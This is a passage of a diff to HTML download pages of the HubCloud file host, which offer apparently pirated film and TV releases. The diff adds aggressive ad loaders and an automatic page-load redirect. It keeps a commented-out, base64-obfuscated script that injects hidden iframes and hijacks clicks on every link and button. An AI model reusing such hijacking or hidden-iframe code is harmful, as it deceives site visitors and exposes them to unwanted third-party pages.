t=JSON.parse(e.data);console.log(t),t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){console.log("Error: ",r)}},!1);
|
||||||
|
</script>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<br>
|
||||||
|
<br>
|
||||||
|
<br>
|
||||||
|
<br><br>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<div class="footer">
|
||||||
|
|
||||||
|
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
@ -2,8 +2,7 @@
|
||||||
<head>
|
<head>
|
||||||
<title>Crayon Shinchan Action Kamen vs Demon (1993) 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] (PitiPati-Ionicboy) (4kHDHub.com).mkv</title>
|
<title>Crayon Shinchan Action Kamen vs Demon (1993) 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] (PitiPati-Ionicboy) (4kHDHub.com).mkv</title>
|
||||||
<meta charset="utf-8">
|
<meta charset="utf-8">
|
||||||
<script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
|
<meta name="referrer" content="no-referrer"/>
|
||||||
<meta name="referrer" content="no-referrer">
|
|
||||||
|
|
||||||
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
||||||
|
|
||||||
|
|
@ -18,7 +17,14 @@
|
||||||
<meta name="googlebot" content="noindex,nofollow">
|
<meta name="googlebot" content="noindex,nofollow">
|
||||||
|
|
||||||
|
|
||||||
<script data-cfasync="false" src="//d2hdyssxn6lpj2.cloudfront.net/?sydhd=1173967"></script>
|
<script data-cfasync="false" src="//d33f51dyacx7bd.cloudfront.net/?aydfd=1015073"></script>
|
||||||
|
|
||||||
|
<!--<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>-->
|
||||||
|
<!--<script type="text/javascript">-->
|
||||||
|
<!-- aclib.runPop({-->
|
||||||
|
<!-- zoneId: '10550070',-->
|
||||||
|
<!-- });-->
|
||||||
|
<!--</script>-->
|
||||||
|
|
||||||
<!-- Cloudflare Web Analytics --><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token": "4a22bad849ab4d2da600be878e3c0fc2"}'></script><!-- End Cloudflare Web Analytics -->
|
<!-- Cloudflare Web Analytics --><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token": "4a22bad849ab4d2da600be878e3c0fc2"}'></script><!-- End Cloudflare Web Analytics -->
|
||||||
|
|
||||||
|
|
@ -142,12 +148,17 @@
|
||||||
color: #000
|
color: #000
|
||||||
}
|
}
|
||||||
</style>
|
</style>
|
||||||
<body><center>
|
<body>
|
||||||
|
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100892" src="https://sads.adsboosters.xyz/e782f10ef81a2b65f5c2b85518948f4b.js"></script>
|
||||||
|
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader101001" src="https://sads.adsboosters.xyz/1c76fee9418816ee07f81c9d3386f754.js"></script>
|
||||||
|
<div class="ads-core-ads-100892"></div>
|
||||||
|
<div class="ads-core-ads-101001"></div>
|
||||||
|
<center>
|
||||||
<br/>
|
<br/>
|
||||||
|
|
||||||
|
|
||||||
<div class="header">
|
<div class="header">
|
||||||
HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.one/drive/admin">Login</a>
|
HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.foo/drive/admin">Login</a>
|
||||||
</div>
|
</div>
|
||||||
<br>
|
<br>
|
||||||
<div class="container container-fluid main">
|
<div class="container container-fluid main">
|
||||||
|
|
@ -217,7 +228,7 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=bffzqlpqfllfcld&token=ZDdhbnhoS3dXSzlGOGhnN3ErdTUxVGpNRHpBR2lCakE1ZHJUTlcvUTlaTT0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
|
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=bffzqlpqfllfcld&token=ZDdhbnhoS3dXSzlGOGhnN3ErdTUxU1ZQelhidzNibXJ5TXk1eDdydjFJcz0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
|
||||||
|
|
||||||
|
|
||||||
<center>
|
<center>
|
||||||
|
|
@ -269,25 +280,35 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
|
||||||
</div>
|
</div>
|
||||||
<div class="card">
|
<div class="card">
|
||||||
<div class="card-body" id="div1">
|
<div class="card-body" id="div1">
|
||||||
<p onclick="copy_link('div1')">https://hubcloud.one/drive/bffzqlpqfllfcld</p>
|
<p onclick="copy_link('div1')">https://hubcloud.foo/drive/bffzqlpqfllfcld</p>
|
||||||
</div>
|
</div>
|
||||||
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
||||||
|
|
||||||
<script>
|
<script>
|
||||||
// function d(e){document.cookie=e+"=; path=/; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:01 GMT;"}setTimeout(()=>{d(atob('Y2xldmVyLWNvdW50ZXItODk4Nzg='))},2000);
|
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}function stck(e,t,i){let o="";if(i){let e=new Date;e.setTime(e.getTime()+60*i*1e3),o="; expires="+e.toUTCString()}document.cookie=`${e}=${t||""}${o}; path=/; SameSite=None; Secure`}stck('xla',"s4t",30240);
|
||||||
// function clsd(){d(atob('Y2xldmVyLWNvdW50ZXItODk4Nzg='))}
|
</script>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
|
||||||
|
|
||||||
|
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=bffzqlpqfllfcld&token=ZDdhbnhoS3dXSzlGOGhnN3ErdTUxU1ZQelhidzNibXJ5TXk1eDdydjFJcz0=';
|
||||||
|
|
||||||
setTimeout(function(){
|
setTimeout(function(){
|
||||||
document.querySelector(".loading").classList.add("d-none");
|
document.querySelector(".loading").classList.add("d-none");
|
||||||
document.querySelector(".vd").classList.remove("d-none");
|
document.querySelector(".vd").classList.remove("d-none");
|
||||||
|
if (!document.cookie.split(';').some(item => item.trim().startsWith('xlax='))) {
|
||||||
|
stck('xlax',"s4t",1440);
|
||||||
|
window.location.href = url;
|
||||||
|
}
|
||||||
}, 2000);
|
}, 2000);
|
||||||
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=bffzqlpqfllfcld&token=ZDdhbnhoS3dXSzlGOGhnN3ErdTUxVGpNRHpBR2lCakE1ZHJUTlcvUTlaTT0=';
|
|
||||||
|
|
||||||
var download = document.getElementById('download');
|
var download = document.getElementById('download');
|
||||||
download.onclick = function() {
|
download.onclick = function() {
|
||||||
if (this.classList.contains('disabled')) {
|
if (this.classList.contains('disabled')) {
|
||||||
event.preventDefault();
|
event.preventDefault();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
window.location.href = url;
|
window.location.href = url;
|
||||||
download.classList.add('disabled');
|
download.classList.add('disabled');
|
||||||
setTimeout(function() {
|
setTimeout(function() {
|
||||||
|
|
@ -295,9 +316,9 @@ download.onclick = function() {
|
||||||
}, 6000);
|
}, 6000);
|
||||||
}
|
}
|
||||||
</script>
|
</script>
|
||||||
<script>
|
|
||||||
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}
|
|
||||||
</script>
|
|
||||||
<script>
|
<script>
|
||||||
// function sT(e){let t=hashKey(e),r=Date.now();localStorage.setItem(t,r.toString())}function hashKey(e){let t=0;for(let r=0;r<e.length;r++)t=(t<<5)-t+e.charCodeAt(r);t=Math.abs(t);let n="";for(let o=0;o<6;o++)n+="abcdefghijklmnopqrstuvwxyz"[t%26],t=Math.floor(t/26);return n}function is_v(e,t){let r=hashKey(e),n=localStorage.getItem(r);return!!n&&(Date.now()-parseInt(n))/6e4<=t}var s__=!1,observer=null,sc_="a, button",d_=!1;function clsd(){s__=!1,d_=!0,sT("dfdf")}var E_=["aHR0cHM6Ly9wYWlzYXZ5YXBhcmkuY29tL2J1c2luZXNzLw==","aHR0cHM6Ly92aXNoZXNodG9kYXkuY29tL3RlY2hub2xvZ3kv"];function isD(){return!/Mobi|Android/i.test(navigator.userAgent)}let t_=[];for(let e_=0;e_<4 && (true || !d_ && !isD());e_++){let e=E_[Math.floor(Math.random()*E_.length)];if(!t_.includes(e)){var t,r=document.createElement("iframe");if(sT(e),t_.push(e),r.src=atob(e),r.width="0",r.height="0",r.style.display="none",r.referrerPolicy="no-referrer",document.querySelector("body")){console.log("inserted"),document.body.appendChild(r);break}}}function opst(e){if(d_){console.log("closed d_");return}if(!s__){console.log("no s__");return}e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r;s__=!1,document.querySelectorAll(sc_).forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){document.querySelectorAll(sc_).forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);console.log(t),t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){console.log("Error: ",r)}},!1);
|
// function sT(e){let t=hashKey(e),r=Date.now();localStorage.setItem(t,r.toString())}function hashKey(e){let t=0;for(let r=0;r<e.length;r++)t=(t<<5)-t+e.charCodeAt(r);t=Math.abs(t);let n="";for(let o=0;o<6;o++)n+="abcdefghijklmnopqrstuvwxyz"[t%26],t=Math.floor(t/26);return n}function is_v(e,t){let r=hashKey(e),n=localStorage.getItem(r);return!!n&&(Date.now()-parseInt(n))/6e4<=t}var s__=!1,observer=null,sc_="a, button",d_=!1;function clsd(){s__=!1,d_=!0,sT("dfdf")}var E_=["aHR0cHM6Ly9wYWlzYXZ5YXBhcmkuY29tL2J1c2luZXNzLw==","aHR0cHM6Ly92aXNoZXNodG9kYXkuY29tL3RlY2hub2xvZ3kv"];function isD(){return!/Mobi|Android/i.test(navigator.userAgent)}let t_=[];for(let e_=0;e_<4 && (true || !d_ && !isD());e_++){let e=E_[Math.floor(Math.random()*E_.length)];if(!t_.includes(e)){var t,r=document.createElement("iframe");if(sT(e),t_.push(e),r.src=atob(e),r.width="0",r.height="0",r.style.display="none",r.referrerPolicy="no-referrer",document.querySelector("body")){console.log("inserted"),document.body.appendChild(r);break}}}function opst(e){if(d_){console.log("closed d_");return}if(!s__){console.log("no s__");return}e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r;s__=!1,document.querySelectorAll(sc_).forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){document.querySelectorAll(sc_).forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);console.log(t),t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){console.log("Error: ",r)}},!1);
|
||||||
</script>
|
</script>
|
||||||
|
|
@ -312,6 +333,7 @@ function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof
|
||||||
<br><br>
|
<br><br>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|
||||||
<div class="footer">
|
<div class="footer">
|
||||||
|
|
||||||
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
||||||
|
|
|
||||||
|
|
@ -2,8 +2,7 @@
|
||||||
<head>
|
<head>
|
||||||
<title>Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv</title>
|
<title>Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv</title>
|
||||||
<meta charset="utf-8">
|
<meta charset="utf-8">
|
||||||
<script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
|
<meta name="referrer" content="no-referrer"/>
|
||||||
<meta name="referrer" content="no-referrer">
|
|
||||||
|
|
||||||
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
||||||
|
|
||||||
|
|
@ -18,7 +17,14 @@
|
||||||
<meta name="googlebot" content="noindex,nofollow">
|
<meta name="googlebot" content="noindex,nofollow">
|
||||||
|
|
||||||
|
|
||||||
<script data-cfasync="false" src="//d2hdyssxn6lpj2.cloudfront.net/?sydhd=1173967"></script>
|
<script data-cfasync="false" src="//d33f51dyacx7bd.cloudfront.net/?aydfd=1015073"></script>
|
||||||
|
|
||||||
|
<!--<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>-->
|
||||||
|
<!--<script type="text/javascript">-->
|
||||||
|
<!-- aclib.runPop({-->
|
||||||
|
<!-- zoneId: '10550070',-->
|
||||||
|
<!-- });-->
|
||||||
|
<!--</script>-->
|
||||||
|
|
||||||
<!-- Cloudflare Web Analytics --><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token": "4a22bad849ab4d2da600be878e3c0fc2"}'></script><!-- End Cloudflare Web Analytics -->
|
<!-- Cloudflare Web Analytics --><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token": "4a22bad849ab4d2da600be878e3c0fc2"}'></script><!-- End Cloudflare Web Analytics -->
|
||||||
|
|
||||||
|
|
@ -142,12 +148,17 @@
|
||||||
color: #000
|
color: #000
|
||||||
}
|
}
|
||||||
</style>
|
</style>
|
||||||
<body><center>
|
<body>
|
||||||
|
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100892" src="https://sads.adsboosters.xyz/e782f10ef81a2b65f5c2b85518948f4b.js"></script>
|
||||||
|
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader101001" src="https://sads.adsboosters.xyz/1c76fee9418816ee07f81c9d3386f754.js"></script>
|
||||||
|
<div class="ads-core-ads-100892"></div>
|
||||||
|
<div class="ads-core-ads-101001"></div>
|
||||||
|
<center>
|
||||||
<br/>
|
<br/>
|
||||||
|
|
||||||
|
|
||||||
<div class="header">
|
<div class="header">
|
||||||
HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.one/drive/admin">Login</a>
|
HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.foo/drive/admin">Login</a>
|
||||||
</div>
|
</div>
|
||||||
<br>
|
<br>
|
||||||
<div class="container container-fluid main">
|
<div class="container container-fluid main">
|
||||||
|
|
@ -217,7 +228,7 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=idt1evqfuviqiei&token=RUhXL2kvWnI3MmtFTTlyc1VGY2JSUHJiRlcvSTBwOG9HNWFOa2tiMWVxMD0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
|
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=idt1evqfuviqiei&token=RUhXL2kvWnI3MmtFTTlyc1VGY2JSSFJidWE2bjFma1JRSWNEZmVXcys4VT0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
|
||||||
|
|
||||||
|
|
||||||
<center>
|
<center>
|
||||||
|
|
@ -269,25 +280,35 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
|
||||||
</div>
|
</div>
|
||||||
<div class="card">
|
<div class="card">
|
||||||
<div class="card-body" id="div1">
|
<div class="card-body" id="div1">
|
||||||
<p onclick="copy_link('div1')">https://hubcloud.one/drive/idt1evqfuviqiei</p>
|
<p onclick="copy_link('div1')">https://hubcloud.foo/drive/idt1evqfuviqiei</p>
|
||||||
</div>
|
</div>
|
||||||
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
||||||
|
|
||||||
<script>
|
<script>
|
||||||
// function d(e){document.cookie=e+"=; path=/; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:01 GMT;"}setTimeout(()=>{d(atob('Y2xldmVyLWNvdW50ZXItODk4Nzg='))},2000);
|
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}function stck(e,t,i){let o="";if(i){let e=new Date;e.setTime(e.getTime()+60*i*1e3),o="; expires="+e.toUTCString()}document.cookie=`${e}=${t||""}${o}; path=/; SameSite=None; Secure`}stck('xla',"s4t",30240);
|
||||||
// function clsd(){d(atob('Y2xldmVyLWNvdW50ZXItODk4Nzg='))}
|
</script>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
|
||||||
|
|
||||||
|
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=idt1evqfuviqiei&token=RUhXL2kvWnI3MmtFTTlyc1VGY2JSSFJidWE2bjFma1JRSWNEZmVXcys4VT0=';
|
||||||
|
|
||||||
setTimeout(function(){
|
setTimeout(function(){
|
||||||
document.querySelector(".loading").classList.add("d-none");
|
document.querySelector(".loading").classList.add("d-none");
|
||||||
document.querySelector(".vd").classList.remove("d-none");
|
document.querySelector(".vd").classList.remove("d-none");
|
||||||
|
if (!document.cookie.split(';').some(item => item.trim().startsWith('xlax='))) {
|
||||||
|
stck('xlax',"s4t",1440);
|
||||||
|
window.location.href = url;
|
||||||
|
}
|
||||||
}, 2000);
|
}, 2000);
|
||||||
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=idt1evqfuviqiei&token=RUhXL2kvWnI3MmtFTTlyc1VGY2JSUHJiRlcvSTBwOG9HNWFOa2tiMWVxMD0=';
|
|
||||||
|
|
||||||
var download = document.getElementById('download');
|
var download = document.getElementById('download');
|
||||||
download.onclick = function() {
|
download.onclick = function() {
|
||||||
if (this.classList.contains('disabled')) {
|
if (this.classList.contains('disabled')) {
|
||||||
event.preventDefault();
|
event.preventDefault();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
window.location.href = url;
|
window.location.href = url;
|
||||||
download.classList.add('disabled');
|
download.classList.add('disabled');
|
||||||
setTimeout(function() {
|
setTimeout(function() {
|
||||||
|
|
@ -295,9 +316,9 @@ download.onclick = function() {
|
||||||
}, 6000);
|
}, 6000);
|
||||||
}
|
}
|
||||||
</script>
|
</script>
|
||||||
<script>
|
|
||||||
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}
|
|
||||||
</script>
|
|
||||||
<script>
|
<script>
|
||||||
// function sT(e){let t=hashKey(e),r=Date.now();localStorage.setItem(t,r.toString())}function hashKey(e){let t=0;for(let r=0;r<e.length;r++)t=(t<<5)-t+e.charCodeAt(r);t=Math.abs(t);let n="";for(let o=0;o<6;o++)n+="abcdefghijklmnopqrstuvwxyz"[t%26],t=Math.floor(t/26);return n}function is_v(e,t){let r=hashKey(e),n=localStorage.getItem(r);return!!n&&(Date.now()-parseInt(n))/6e4<=t}var s__=!1,observer=null,sc_="a, button",d_=!1;function clsd(){s__=!1,d_=!0,sT("dfdf")}var E_=["aHR0cHM6Ly9wYWlzYXZ5YXBhcmkuY29tL2J1c2luZXNzLw==","aHR0cHM6Ly92aXNoZXNodG9kYXkuY29tL3RlY2hub2xvZ3kv"];function isD(){return!/Mobi|Android/i.test(navigator.userAgent)}let t_=[];for(let e_=0;e_<4 && (true || !d_ && !isD());e_++){let e=E_[Math.floor(Math.random()*E_.length)];if(!t_.includes(e)){var t,r=document.createElement("iframe");if(sT(e),t_.push(e),r.src=atob(e),r.width="0",r.height="0",r.style.display="none",r.referrerPolicy="no-referrer",document.querySelector("body")){console.log("inserted"),document.body.appendChild(r);break}}}function opst(e){if(d_){console.log("closed d_");return}if(!s__){console.log("no s__");return}e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r;s__=!1,document.querySelectorAll(sc_).forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){document.querySelectorAll(sc_).forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);console.log(t),t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){console.log("Error: ",r)}},!1);
|
// function sT(e){let t=hashKey(e),r=Date.now();localStorage.setItem(t,r.toString())}function hashKey(e){let t=0;for(let r=0;r<e.length;r++)t=(t<<5)-t+e.charCodeAt(r);t=Math.abs(t);let n="";for(let o=0;o<6;o++)n+="abcdefghijklmnopqrstuvwxyz"[t%26],t=Math.floor(t/26);return n}function is_v(e,t){let r=hashKey(e),n=localStorage.getItem(r);return!!n&&(Date.now()-parseInt(n))/6e4<=t}var s__=!1,observer=null,sc_="a, button",d_=!1;function clsd(){s__=!1,d_=!0,sT("dfdf")}var E_=["aHR0cHM6Ly9wYWlzYXZ5YXBhcmkuY29tL2J1c2luZXNzLw==","aHR0cHM6Ly92aXNoZXNodG9kYXkuY29tL3RlY2hub2xvZ3kv"];function isD(){return!/Mobi|Android/i.test(navigator.userAgent)}let t_=[];for(let e_=0;e_<4 && (true || !d_ && !isD());e_++){let e=E_[Math.floor(Math.random()*E_.length)];if(!t_.includes(e)){var t,r=document.createElement("iframe");if(sT(e),t_.push(e),r.src=atob(e),r.width="0",r.height="0",r.style.display="none",r.referrerPolicy="no-referrer",document.querySelector("body")){console.log("inserted"),document.body.appendChild(r);break}}}function opst(e){if(d_){console.log("closed d_");return}if(!s__){console.log("no s__");return}e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r;s__=!1,document.querySelectorAll(sc_).forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){document.querySelectorAll(sc_).forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);console.log(t),t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){console.log("Error: ",r)}},!1);
|
||||||
</script>
|
</script>
|
||||||
|
|
@ -312,6 +333,7 @@ function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof
|
||||||
<br><br>
|
<br><br>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|
||||||
<div class="footer">
|
<div class="footer">
|
||||||
|
|
||||||
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
||||||
|
|
|
||||||
|
|
@ -2,8 +2,7 @@
|
||||||
<head>
|
<head>
|
||||||
<title>Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv</title>
|
<title>Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv</title>
|
||||||
<meta charset="utf-8">
|
<meta charset="utf-8">
|
||||||
<script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
|
<meta name="referrer" content="no-referrer"/>
|
||||||
<meta name="referrer" content="no-referrer">
|
|
||||||
|
|
||||||
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
||||||
|
|
||||||
|
|
@ -18,7 +17,14 @@
|
||||||
<meta name="googlebot" content="noindex,nofollow">
|
<meta name="googlebot" content="noindex,nofollow">
|
||||||
|
|
||||||
|
|
||||||
<script data-cfasync="false" src="//d2hdyssxn6lpj2.cloudfront.net/?sydhd=1173967"></script>
|
<script data-cfasync="false" src="//d33f51dyacx7bd.cloudfront.net/?aydfd=1015073"></script>
|
||||||
|
|
||||||
|
<!--<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>-->
|
||||||
|
<!--<script type="text/javascript">-->
|
||||||
|
<!-- aclib.runPop({-->
|
||||||
|
<!-- zoneId: '10550070',-->
|
||||||
|
<!-- });-->
|
||||||
|
<!--</script>-->
|
||||||
|
|
||||||
<!-- Cloudflare Web Analytics --><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token": "4a22bad849ab4d2da600be878e3c0fc2"}'></script><!-- End Cloudflare Web Analytics -->
|
<!-- Cloudflare Web Analytics --><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token": "4a22bad849ab4d2da600be878e3c0fc2"}'></script><!-- End Cloudflare Web Analytics -->
|
||||||
|
|
||||||
|
|
@ -142,12 +148,17 @@
|
||||||
color: #000
|
color: #000
|
||||||
}
|
}
|
||||||
</style>
|
</style>
|
||||||
<body><center>
|
<body>
|
||||||
|
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100892" src="https://sads.adsboosters.xyz/e782f10ef81a2b65f5c2b85518948f4b.js"></script>
|
||||||
|
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader101001" src="https://sads.adsboosters.xyz/1c76fee9418816ee07f81c9d3386f754.js"></script>
|
||||||
|
<div class="ads-core-ads-100892"></div>
|
||||||
|
<div class="ads-core-ads-101001"></div>
|
||||||
|
<center>
|
||||||
<br/>
|
<br/>
|
||||||
|
|
||||||
|
|
||||||
<div class="header">
|
<div class="header">
|
||||||
HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.one/drive/admin">Login</a>
|
HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.foo/drive/admin">Login</a>
|
||||||
</div>
|
</div>
|
||||||
<br>
|
<br>
|
||||||
<div class="container container-fluid main">
|
<div class="container container-fluid main">
|
||||||
|
|
